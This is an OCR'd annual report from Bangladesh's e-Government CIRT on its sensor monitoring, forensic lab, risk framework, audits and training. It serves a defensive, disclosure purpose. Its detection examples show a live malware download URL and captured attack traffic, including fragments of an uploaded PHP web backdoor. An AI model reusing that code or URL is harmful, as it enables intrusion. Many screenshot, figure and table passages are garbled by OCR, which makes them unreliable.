Destination IP Possible TCP Method
208.91.197.91(British Virgin HTTP

Islands) Possible executable name: 10v3e.exe
Domain: ksa.fm
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We can check the reputation of the IP address from available source. We can also check the

executable with well-known community for example, virustotal.com.

In community this domain and executable considers as malware, for example:

<« & ‘m‘ @ & https://www.virustotal.com/#/url/e67c499ad0ae66967 1623e822828365ac5bc41425fcc89956cca3act 7785378/ detection

Z Search or scan a URL, IP address, domain, or file hash

6 engines detected this URL
URL http://ksa.fm/l0v3e.exe
f Host ksa.fm (4

Lastanalysis  2018-07-29 01:51:12 UTC

e 1e7)
L\6 /67
Detection Details Community
BitDefender A Malware DrWeb A Malicious
Forcepoint ThreatSeeker A Malicious Fortinet A Malware
SCUMWARE.org A Malware Sophos AV A Malicious

Form the community information, this is clearly indicating this IP communication &
downloaded executable is a MALWARE.
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c. Suspicious Command Injection detection in overall sensor dashboard available

information

From the system available information, we may detect same unusual activity from various IP

address and all this IP address try to attack target one system and the activity is considering as

Intruder attack, because all of these IP address perform similar task and try to perform

“Command Injection” to target system. For example:

Sre IP: 52.167.41.101
Dst IP:

05 Fingerprint; 52.167.41.101:52561 - Windows XP/2000 (RFC1323+, \'H-h tetamp-) (ECN) [low cost] [GENERIC)

05 Fingerprint: Signature: [B192:101:1:52:M1420,N,WB.N.N.5:..

- e —— -

SAC: GET fwp-content/uploads/settingsimages/ 2018/ 101-{/W3C/DTD%20KHTML3201.0%20Transitional// ENjsspwed. o TP/ .
SRC: User-Agent: Mazilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.3) Gecka/20100401 Frefon3.5. T

3: na-cache
cept-Encoding: gzip, deflate
onnection: Close

morronn 10 NET CLR 3.5.30729)

See IP: 52.167.41.101

(RFC1323+, w, tstamg-) (ECH) [low cost] [GENERIC]
“Windows:?]

PSH000
NWRKN G

> cingu types"Fie” names"File” sizes"50"><input rame="_upl"

We found same activity from the external source, which we highly suspect this is an intruder

team which is targeting the organization. By this way, after detect these types of suspicious

activity, we can information to respective organization for taking necessary action/measure.
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d. Infected Host detection
From the system available information, by analysis various information, we can able to detect
infected/compromised host into the network, for example, we detect some suspicious HTTP
POST activity and we found some well-known system compromise related keyword (for this

case, backdoor):

SRC] POST /f2gf_page=upload HTTR/1.1
saci-rgmaru_l =

SRC:

SRC:

SRC: User-Agent: Moalla/s.0 (X11; Linux xB6_64) AppleWeb it/537.31 (KHTML, like Gecke) Chrome/26.0.1410,63 Safan/537.31
SRC: Content-Length: 1245

SRC: Content-Type: multipart/form-data; boundary=xYzZY
SRC:

SRC: --xYzZY

SRC: Content-Disposition: form-data; name="file"; filenamef“BackDoor.jpg"
SRC: Content-Type: image/jpeg

SRC:

SRC: <?php

SRC: function hitp_get{$url){

SRC: $im = curl_init{Surl);

SRC: curl_setopt{$im, CURLOPT_RETURNTRAMNSFER, 1);
SRC: curl_setopt{$im, CURLOPT_CONNECTTIMEQUT, 10);
SRC: curl_setopt{$am, CURLOPT_FOLLOWLOCATION, 1);
SRC: curl_setopt{$im, CURLOPT_HEADER, 0);

SRC: .return curl_exec($im);

SRC: .curl_dlose{$im);

SRC: }

SRC: $open v
SRC: fwrite($open, $text);
SRC: felose{$open);

SRC: ifffile_swists($check)){
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Then we can visit the respective URL, which is hosted into our trusted network (i.e.
Organization network)

We found below possible web based backdoor as like below:

Gantengers Crew

EolizeBakal - dib-1 - Brian Kamilaze - Conpdesrice - Hdn newhbic - BEEEASIw
EytESskwintlyahsaldeticen

By this way, after detect these types compromise host into network, we can information to

respective organization for taking necessary action/measure.
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e. Brute-force attack detection
A Dbrute force attack is a trial-and-error method used to obtain information such as a user
password or personal identification number (PIN). In a brute force attack, automated software
is used to generate a large number of consecutive guesses as to the value of the desired data.
Brute force attacks may be used by criminals to crack encrypted data, or by security analysts

to test an organization's network security.

A brute force attack is also known as brute force cracking or simply brute force.

If some system expose SSH or RDP activity to external or Internet, it may face brute force
attack. For detecting the RDP brute force attack, in the sensor dashboard, we can select RDP
and check the RDP failure attempt, which can help us to make decision whether the system
fallen under brute force attack or not. For example:

We found from various external IP targeting one system of the organization, the RDP attempt

is not in usual number (huge attempt)

We can check related CapME data for more clarification:

|sr< 1F: 10.90.67.5% l
= 10,9087 99:52707 - Windows XPII000 (RFC1I21+, we, 8tane-) (ECH) [lw cost] [GENERIC]

By this way, after detect these types attack we can information to respective organization for

taking necessary action/measure.

Page | 39



Cyber Sensor Training

BGD e-GOV CIRT Provided “Cyber Sensor Operation Training” to nominated persons from
Cll Organizations.
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Cyber Sensor Analysis Report

From August 2018 to May 2019, a total 57 (Fifty-Seven) cyber sensor analysis report provided
to 11 (Eleven) Bangladesh Government Critical Information Infrastructure (CII).
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3. Digital Forensic Lab Unit

Forensic Lab established on 2018, with the purpose of forensic investigation of digital
evidence. It helps the incident handling unit as reactive service after an incident occurs by
providing forensic support on evidence included in the incident. Digital Forensic team is also
capable of recovery and investigation of material found in digital device including mobile, PC,
Drone or any IOT’s or computational devices. The objective of CIRT LAB is also to build
capacity of students and government officials who are keenly interested in cyber security and
digital forensic.

Benefits:

« Helps the incident handling unit as reactive service after an incident occurs by providing
forensic support on evidence.

« Build capacity of students and government officials on Cyber Security

o Criminal prosecutors — Rely on evidence obtained from a computer to prosecute
suspects and use as evidence

« Civil litigation- Personal and business data discovered on a computer can be used in
fraud, harassment or discrimination cases

e Financial Organizations — Evidence discovered on computer can be used to mollify
costs

o Law enforcement officials — Rely on computer forensics to backup search warrants and

post-seizure handling
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CIRT Lab Capabilities:
o Computer Forensic — Can be used to recover important data, deleted logs, any criminal
activities which is deleted intentionally. Current capacity:
o Write Blocker
o Imager
o Forensic Analysis Suite

o Password Breaker

« Mobile Forensic — Mobile device forensic investigation to detect any criminal activities

performed in mobile device

e Network Forensic — monitoring and analysis of computer network traffic for the
purposes of information gathering of network anomaly, legal evidence, or intrusion
detection. Network forensicsis a sub-branch of digital forensics relating to the
monitoring and analysis of computer network traffic for the purposes of information
gathering, legal evidence, or intrusion detection. Current Capacity:

o Honeypots
o Network Data Tapper
o SSL Decrypting Device

PACKET ANALYZER

1. Focus on activity user to
@ oS the Internet
~ _— \]
u 2. Focus on activity Server
Farm to the Internet
Internet Router Core Switch User
o ———— A
1
1
1
SERVER FARM

Fig: Network Forensic
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SSL Visibility Appliance

K.

Client

Decrypted 550
e oL Servers

+ Undecrypted SSL

Security device

Fig: SSL Decrypting Methodology

Fig: Honeypot Device
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Service Workflow follows:
« Evidence Detection
e Evidence Acquisition
« Evidence Analysis/Examination

e Documenting and Reporting

’ Stream-to-disk engine
Packets extracted from network via SPAN port or TAPS

= &=
--'-I"llillllllﬂhl .‘4hll!llllllllIIIIII-u

g

Performance Analysis

* Exie of usn
* Degpeh of Analyus

Fig: Digital Forensic Service Workflows
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Ongoing Service:

a) Providing monthly threat intelligence report based on network forensic and feed data.

by Successfully delivered four (4) government cases till January 2019.

Our strengths upon case analysis:

Data recovery and analysis.
Image data analysis.

Email data analysis.

Ransomware related analysis and data recovery.
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Fig: Inauguration of CIRT Lab by Honourable Adviser of ICT

Fig: Inauguration of CIRT Lab by Honourable Adviser of ICT
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Fig: Inauguration of CIRT Lab by Honourable Adviser of ICT
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Fig: Honourable state minister in BGD e-GOV CIRT’s First Anniversary conference
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Fig: BGD e-GOV CIRT member participating in MTCP fellowhip — A Malaysian
government training scholarship on Cybersecurity

Page | 50



Fig: BGD e-GOV CIRT member participating and representing Bangladesh Cyber Security
Unit in MTCP fellowship — A Malaysian government training scholarship on Cybersecurity

Shanghai, China
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Fig: BGD e-GOV CIRT ember participating and presenting Bangladesh Government Cyber
Security Unit in 56th TF-CSIRT meeting & FIRST Regional Symposium Europe After being
accredited Member
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Conference, Kualalumpur, Malaysia
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4. Cyber Security Strategy & Risk Assessment Framework

Development

a. Establishment of Bangladesh cyber threat landscape in order to have a holistic
understanding about national cyber threat landscape and better align the objectives of the
strategy with national security needs.

Identification of emerging trends in cyber threats and understanding the evolution of
cybercrime is very important to national cybersecurity and enables effective responses to cyber
risks. There is a number of international or regional cyber threat landscape reports and they
provide important insights in the international developments regarding cyber threats. However,
each country has its own peculiarities and it is vital to understand national cyber threat

landscape to build necessary cyber capabilities and effectively mitigate cyber risks.

Bangladesh national cyber threat landscape report defines top cyber threats to Bangladesh, their
relations with threat agents, specific attack vectors used to launch a particular threat and kill

chain for it. Each cyber threat is assigned to one of the incident classes used by BCC.

value
Dwners wish to minimise

reduce

impose
P >| Countermeasures

that may
be reduced by
may be aware of

Vulnerabilities ]
»

that may
pO5sess

leading to

—_— .
based on (set of .
| Attack Vectors ] that exploit

F 3
use

that increase

[ ive rise to
| Threat agents £ —>| Threats 1

wish to abuse and/or may damage

Figare 1. Cyberthreats in risk management according to 150 15408:2005
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For the development of Bangladesh cyber threat landscape, a workshop with  different
organizations was held on July 2018. Participants of the workshop were introduced to the trends
in cyber threat landscape since 2015 and ENISA’s top 15 cyber threats for 2017. Based on the
results of an anonymous survey of workshop participants, Bangladesh top 15 cyber threats have

been identified and are recorded.

Workshop on: cyber threat landscape
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b. Assessment of Bangladesh cyber maturity to identify strengths and gaps in a current status

of Bangladesh cyber security maturity

In collaboration with NRD Cyber Security (NRD CS), the Global Cyber Security Capacity
Centre (GCSCC, or ‘the Centre”) Oxford undertook a review of the maturity of cybersecurity
capacity in Bangladesh at the invitation of the Bangladesh Computer Council (BCC). The
objective of this review was to enable Bangladesh to gain an understanding of its cybersecurity
capacity in order to strategically priorities investment in  cybersecurity.

Over the period 2-4 July 2018, the different stakeholders participated in roundtable
consultations: academia, criminal justice, law enforcement, information technology officers
and representatives from public sector entities, critical infrastructure owners, policy makers,
information technology officers from the government and the private sector (including
financial institutions), telecommunications companies and the banking sector. Remote follow-

up interviews were conducted with representatives from civil society and international partners.

The consultations took place using the Centre’s Cybersecurity Capacity Maturity Model

(CMM), which defines five dimensions of cybersecurity capacity:

e Cybersecurity Policy and Strategy

e Cyber Culture and Society

e Cybersecurity Education, Training and Skills
e Legal and Regulatory Frameworks

e Standards, Organizations, and Technologies

Each dimension comprises factors which describe what it means to possess cybersecurity
capacity. Factors consist of aspects and for each aspect there are indicators, which describe
steps and actions that, once observed, define the state of maturity of that aspect. There are five
stages of maturity, ranging from the start-up stage to the dynamic stage. The start-up stage
implies an ad-hoc approach to capacity, whereas the dynamic stage represents a strategic
approach and the ability to adapt dynamically or to change in response to environmental

considerations.
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Roundtable consultations on Bangladesh Cyber Maturity
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Cyber Risk Assessment Framework Development

The module envisages a series of activities aimed at establishing cyber risk assessment
framework to strengthen the resilience of Bangladesh Critical Information Infrastructure Clis

and provide guidelines for its implementation.

Module activities focused on defining and establishing processes to identify, analyze and
manage country-specific risks to Bangladesh Clls in order to ensure smooth functioning of
essential information and communication systems under ordinary circumstances and continuity

on a minimum level during critical situations.

All module activities include on-site engagements with the Client, owners of Clls, transfer of
knowledge and awareness raising activities and conducted on the basis of international best

practices.

Activities envisaged under this Module are:
a. Development of cyber risk assessment framework for Bangladesh Clls

Bangladesh critical infrastructures (CI) operate in financial services, telecommunications,
energy supply, air transport and government services and are essential for the maintenance of
vital society functions, health, safety, security, economic and social well-being of people.
Today, information and communication technologies are becoming increasingly important for
the functioning of critical infrastructure. Such essential information and communication
infrastructures, also referred to as national critical information infrastructures, need to be
protected in order to deter, mitigate and neutralize threats, risks or vulnerabilities and minimize
the impacts of the incidents should they occur. More smart technology will be introduced to
many critical processes in Bangladesh and it will mean increased dependency on data traffic
systems and the Internet and ICT disruptions will have a greater impact on various critical

services.
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Critical information infrastructures can be disrupted by natural disasters, such as floods or
earthquakes, or by deliberate attacks of malicious actors. Bangladesh national critical
information infrastructures are regular target of cyber-attacks. As ICT knowledge and
technology will become more accessible to malicious actors, the likelihood of cyber-attacks in
Bangladesh critical infrastructures may increase. Due to inter-dependency of Bangladesh
critical infrastructures, the disruption of one critical information infrastructure can have
cascading effectives across sectors and paralyze the provision of services in other sectors. The
disruption of critical services in Bangladesh ICT/ telecommunication sectors and financial

sectors would have most severe cascading effects.

Managing risks is a shared responsibility among all critical information infrastructure
stakeholders, including government organizations, industry partners, first responders and

nongovernment organizations.

The purpose of cyber risk assessment framework for Clls is to provide a centralized cyber risk
assessment model that will be applicable to all Bangladesh Clls and will implement a
coordinated, all-hazards framework to critical infrastructure risk management. Moving forward
with this comprehensive risk management process requires Government of Bangladesh and
agencies to collaborate with their critical infrastructure partners, including other industry
stakeholders. This framework promotes a common approach to critical infrastructure risk
management and owners. Each CII is responsible for applying a risk management approach

within its organization.

The framework is adaptive to provide a flexible and risk-based implementation that can be used
with a broad array of cybersecurity risk management processes. Examples of cybersecurity risk
management processes include International Organization for Standardization (ISO)
31000:20092, ISO/International  Electrotechnical Commission (IEC) 27005:20113.
Framework’s assets identification is prepared applying ENISA’s recommendations “Threat

Landscape and Good Practice Guide for Internet Infrastructure™4.
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Cyber risk assessment framework for Clls is based on a common flow of information and
decisions during risk management process. Figure 1 depicts information and decision flows

within an organization at three different levels:

e Executive level
e Business/Process level

e Implementation/Operations level

1-....’» “941 ﬁ&lJﬂl =-.....I

Senior Executive Level
Focus: Organizational Risk

Actions: Express Mission Priorities
1 Approve Implementation Tier Selection ]
Direct Risk Decisions :

o \ s
Changes in - : 3 Mission Priority
Current and Bgf.g‘:::é Q F ’ and Risk Appetite
Future Risk Level o and Budget

‘ Focus: Critical Infrastructure Risk

Management

- Actions: Nominate Implementation Tiers i
ﬁ Develop Profiles

Allocate Budget

"

Threat { Operations
Level
Focus: Securing Critical Infrastructure
Actions: Implements Profile

Implemen!atlon

Progress Framework
Changes in Assets Profiles
Vulnerablllty and % Implemen(atlonl

The executive level communicates to the business/process level:

e the mission priorities
e available resources

e overall risk tolerance
The business/process level:
e uses the information as inputs into the risk management process, and then
e collaborates with the implementation/operations level to communicate business needs
and

e create a risk profile
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The implementation/operations level:

e communicates the Profile implementation progress to the business/process level

The business/process level:

e uses this information to perform an impact assessment
e reports the outcomes of that impact assessment to the executive level to inform the

organization’s overall risk management process and to the implementation/operations

level for awareness of business impact
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Cyber risk assessment framework presentation to Clls

b. Conducting risk assessments of Clls using the developed cyber risk assessment framework

in order to validate its effectiveness and suitability.

The objective of the cyber risk assessment of 3 Clls was to validate the Cyber risk assessment
framework and Implementation guidelines for the cyber risk assessment framework developed

in the earlier stages of the project which are planned to be used by all Bangladesh Clls.

During the assessment, cyber risk assessment framework and implementation guidelines for
the cyber risk assessment framework were used to identify cyber risk levels of the three selected

Clls and to prepare risk mitigation plans for the unacceptable risks.

The purpose of the cyber risk assessment of 3 Clls was to provide a detailed high-level
assessment on how cyber threats impact their assets and whether implemented risk mitigation
measures and security controls are sufficient, effective and practical to contain unacceptable

risks.

The scope of the cyber risk assessment was the evaluation of the resilience of critical assets of
3 selected Clls against Bangladesh cyber and environmental threats list. The report is not
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intended to evaluate, disclose and describe all information (documents, processes, functions or

systems) of a particular critical infrastructure and is based solely on the information provided

by the owners of the Cls.

Threats Or | |ors '||OBanbatien) o L om)
1 i 3 &

1 Malwnri
2 Spam
3 Favilure o Disruption of Communication Meworks 217 217 253
4 Failwre or disruption of third party service providers o] ima 179 209
5 |Web application attacks x: [ 175 247
B Wl b siach 261 261 174 232
7 Phishing 254 173 258
] Failwre or Disruption of the Power Supply 45 165 166 153
8

[
L=

s

Botnicts 221 147
oo oae 174
Insides thamar | L

Sample report format Risk Assessment

c. Information system establishment for cyber risk assessments and compliance management
(CRACM)

Establishment of CRACM is enable the BCC to be up to date with the current Bangladesh CllI
cyber security posture, monitor and assess the progress based on the common taxonomy of

standards, guidelines and practices and ensure communication with internal and external

stakeholders about cyber security risk.

Benefits are:

Organization assets identification

Bangladesh cyber threats understanding

Tool for Organization IT controls evaluation (ISO 27001 Monitoring)
IT risk level calculation

IT risk treatment plan for organization

Bangladesh IT risk evaluation
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Outcomes

1. Organizations Risk Management Dashboard

Dashboard Assets A Risk plan Calculate risk Reports Topology Reminders
Period * Organization
2019 x - I Organisation01 v

Current general risk: 150 Residual risk: 76

e WIS

Most critical threats

B Risk M Residual risk

400
350
300
250
200
180
100

50

0
Spam

General threats risk
I Fisk I Residual risk
Spam
Web appiication atacks
WWeb based attack
FPhishing

Mahware

Failure or disruption of communication retworks r
Failure or disruption of third party service providers =
Falureordrupton ofthe powersuppy EE—
Denialof service [E—
v —

Ransomeware

W'Iq

1

Insider threat [ —

Physical manipulation’ damage’ the®t' loss.

1

Information leskage

Data bresch
Exploit kts  [JEm—
Identty thet —
Natral gisasters  [—
Cyber espionage -_
o

Fnr

g
B
g

500
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2. Report “Risk of organization”

Period 2018 v
. View Report
Organisation | Organisationdl ¥ P

Show columns |Number,Mame,Impact size,Likelihg

14 [ 2 S > O ® 100% v Find | Next
Filtered by:
| Organisation ‘ Orzanizationd ] |
| Period year 2019 |
Risk of organisation
Information on how calculation is done:  Risk = Impact x Probability (controls implementation lavel)
Report date and time:  21/04/2015 03:33.06
Number Name Impactlevel | Likelihood level | Residual likelihood level Risk level Residual rick level
5 Spam 11 4
3 Web application attacks 58 3
2 Web based attack 57 3
[ Frishing 56 3
1 Malvare 128 2
20 Failurz or disruption of communication netwerks 108 2
21 Failwrz or disruption of third party service providers 30 2
5 Failure or disruption of the power supply 53 2
6 Denial of service 435 3
3 Botuets 2
7 Ransomewara 35 2
s Tnsider threat 35 2
10 Physical munipulstion’ damage theft loss [ 2
13 Tnformation leakage [ 2
1 Dtz breach 40 2
1 Enploit kits 37 2
2 Tdentity theft 37 2
13 Natural disasters 30 2
IE] Crber espionaze 30 2
17 Water 23 2
1% Fire 27 2
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5. IT Audit Unit

The mission of IT Audit is to provide an independent, objective assurance and consulting
activity designed to add value and improve the organization's operations. IT Audit aims to help
the organization accomplish its objectives by bringing a systematic, disciplined approach to
evaluate and improve the effectiveness of risk management, control, and governance processes.
BGD e-Gov CIRT’s IT Audit team performs extensive IT audit for 3 (Three) Bangladesh
Government Critical Information Infrastructure (ClII) till May, 2019.
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6. Awareness Building

Awareness is the ability to directly know and perceive, to feel, or to be cognizant of events.
More broadly, it is the state of being conscious of something. The primary goal of awareness
IS to reach the message to the end user about the current cyber threat and its mitigation. It is
very hard-hitting to reach every people about every incidents of cyber security or cyber threat

and aware them continuously.

BGD e-GOV CIRT is also working for awareness of its constituencies. It publishes posters,
leaflets, newsletters, web sites that explain security best practices and provide advice on

precautions to take.

It publishes awareness article in English as well as local language for better understanding of
its stakeholder. It frequently published the reports regarding the assessment of stakeholder
application including the vulnerability and weakness. Additionally the quarterly, semi-annual,

annual reports are published.

BGD e-GOV CIRT arrange workshops, seminar, and conferences for its constituencies. For
preparing the stakeholders it arranges different level training session for different stakeholder.
The training helps the stakeholder up-to-date with ongoing security knowledge and potential

threats to the information security.

Our Android Mobile App: https://play.google.com/store/apps/details?id=com.cirt.axion.bdcirt

GETITON
» Google Play

Social Media for awareness:

e Facebook: https://www.facebook.com/bgdegovcirt/

e LinkedlIn: https://www.linkedin.com/company/bgdegovcirt

e Twitter: https://twitter.com/bgdeqgovcirt

Page | 67


https://play.google.com/store/apps/details?id=com.cirt.axion.bdcirt
https://www.facebook.com/bgdegovcirt/
https://www.linkedin.com/company/bgdegovcirt
https://twitter.com/bgdegovcirt

High Commissioner of India, Dhaka visits
BGD e-GOV CIRT Operations Center

High Commissioner of India, Ms Riva Ganguly Das has visited BGD e-GOV CIRT Security operations
center on 19 July, 2019. She visited different components of BGD e-GOV CIRT and got briefed about
the daily activities of security operations center, cycler censor activities, cyber range lab and digital
forensic lab. Hon'ble state Minister Zunaid Ahmed Palak MP, Secretary of ICT Division N M Zeaul
Alam, Executive Director of Bangladesh Computer Council Parthapratim Deb and Project Director of

LICT project Md. Rezaul Karim was present at that time.
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Fig: Brief on Cyber Sensor Operations

BGD e-GOV CIRT is working very closely with Indian Computer Emergency Response Team (CERT-In)
and they have signed a MoU as well On “Cooperation in the area of Cyber Security” between
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Bangladesh e-Government Computer Incident Response Team (BGD e-Gov CIRT), Bangladesh
Computer Council of Ministry of Post, Telecommunication and IT and Indian Computer Emergency
Response Team (CERT-In), Ministry of Electronics and Information Technology, India on April 2017,
During Prime Minister Sheikh Hasina’s Visit to India (Link of that news). BGD e GOV CIRT is Member
of loT Security Working group, Secure Digital Payment Working Group of CERT-In as well.
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Human Resource Development

Development of human resources is essential for any organisation that would like to work with
specialized task. Unlike other resources, human resources have rather unlimited potential
capabilities which can be used by creating an environment that can continuously identify, bring
to surface, nurture and use the capabilities of people. Training is one of the methods to

materialize the organization goal.

BGD e-GOV CIRT introduced various specialized training to its employee, stakeholders and
its beneficiaries. BGD e GOV CIRT has conducted a number of training to address the shortage

of cyber Security professionals in Bangladesh Government Sector.

In total, BGD e-GOV CIRT provided various cyber Security related trainings to 1578 (One
thousand Five Hundred & Seventy-Eight) Bangladesh officials.

The main stakeholders of BGD e-GOV CIRT are as follows:

Armed Police Battalion (APBN), Access to Information (A2i), Different Ministries,
Secretariat, CID, Bangladesh Air Force, Bangladesh Army, Bangladesh Bank,
Bangladesh Bureau of Statistics, Bangladesh Computer Council, Bangladesh Election
Commission, Bangladesh Hi-Tech Park Authority, Bangladesh Navy, Bangladesh
Police, Bangladesh Supreme Court, Bangladesh Tariff Commission, Bangladesh
Telecommunication Regulatory Commission, Bangladesh Telecommunications
Company Ltd., Different Bank & Financial Institution, BARC, BARD, BASIS and

other government organization.
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The statistics of training conducted by BGD e-GOV CIRT are follows:

© ® N o o s~ 0w e P

NN NN NN R B R R R RR R R e
© G A ® NP O © o N oo ®N P O

Training Name
Accounting Fraud Investigation
Business Continuity Training
Business Intelligence
Certified Ethical Hacker (CEH)
Certified Secure Computer User
Cyber Investigation
Cyber Security Training
Cybersec First responder
E-Government Public Service Transformation
Information Management
Information Technology Infrastructure Library (ITIL)
IT Governance, Data Governance & Protection
IT-Project Management Training
Managing Technology for e-government
OSINT (Analytics)
Penetration Testing
Social Media Course
The Stanford Advanced Project Management (SAPM)
Training on Binary Analysis
Training on Malware Analysis
Training on Managing Digital Forensic Lab
Training on Network Traffic Analysis
Training on Oxygen Forensic Complete
Training on Reverse Engineering
Vulnerability Assessment
WSO2 APl Manager
Total

Participant Number

18
54
22
45
62
84
54
21
225
22
33
105
40
291
36
84
18
57
37
37
17
15
23
37
84
66
1587
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Conferences

The CIRT team of Bangladesh Computer Council is increasingly creating awareness of the
need to seriously address the daunting challenges of protecting their information networks,
especially those related to national security and critical infrastructures, from any attacker. The
cyber-security question needs to be placed within a larger framework of international
cooperation, norms, and rules for appropriate and responsible state behavior that will ensure

the peaceful use of cyberspace.

On this regard, the government in collaboration with cyber security and tech giants has
successfully organized an international cyber security conference on 9 March 2017.

Leveraging ICT for Growth, Employment and Governance (LICT) of ICT Division, US based
Fire Eye, CISCO, CA Technologies, Microsoft, One World InfoTech, Europe based NRD AS
and Bangladesh Based companies NRD Bangladesh Ltd. & REVE Systems has jointly

organized the conference at auditorium of Bangladesh Computer Council (BCC).
Honorable State Minister for ICT Zunaid Ahmed Palak, MP inaugurated the conference, which

was attended by over 200 diplomats, government officials and many local and foreign cyber
security experts.
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Meeting & Seminar

To address the cyber security challenges faced by the Bangladesh government, BGD e-GOV
CIRT arranged seven (7) meetings, chaired by the State Minister for ICT Zunaid Ahmed Palak
at ICT Division.

Main outcomes of these meeting include:

= |dentification and preparation of a list of 25 Critical Infrastructures in Bangladesh;

= Review and approval of the “Government of Bangladesh Information Security
Manual”;

= Dissemination of the “Government of Bangladesh Information Security Manual”
among the identified 25 Critical Infrastructures of the country as well as to other
Government organizations & officials;

= Discussion regarding the existing cyber act and the new digital security act;

= Representatives from critical infrastructures shared their ideas and took necessary
measures to ensure Cyber Security in their organizations;

= Knowledge sharing session regarding new threats and attack vectors;

= Presentations from Cyber Security Experts.
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Conclusion

From the previous data and work experience we can take a supposition that Cyber Attacks
within country are rising and the top types of attacks are information gathering, intrusion

attempts, and fraud.

With more and more high-profile cyber security incidents being made public, awareness of the
importance of cyber security continues to steadily increase. However, while an on-going
dialogue is good for Bangladesh, the level of public discussion and understanding would

benefit from more informed and considered perspectives.

In order to have a mature discussion in 2019, it is particularly important that we get the
language right - calling every incident a ‘hack’ or ‘attack’ is not helpful for a proportion ate
understanding of the range of threats and only promotes sensationalism. And treating every
adversary as though they are all equally sophisticated and motivated detracts from a balanced

perspective of risk and vulnerability.

BGD e-GOV CIRT goals for 2019 include improving and expanding communication as well
as incident response capacity of its technical team and associated new tools, which will provide
greater value during incident response and assessment activities. The team will continue to
refine and update its training offerings that will allow government organizations to better meet

the demands of challenging and evolving technical issues in cyber security.
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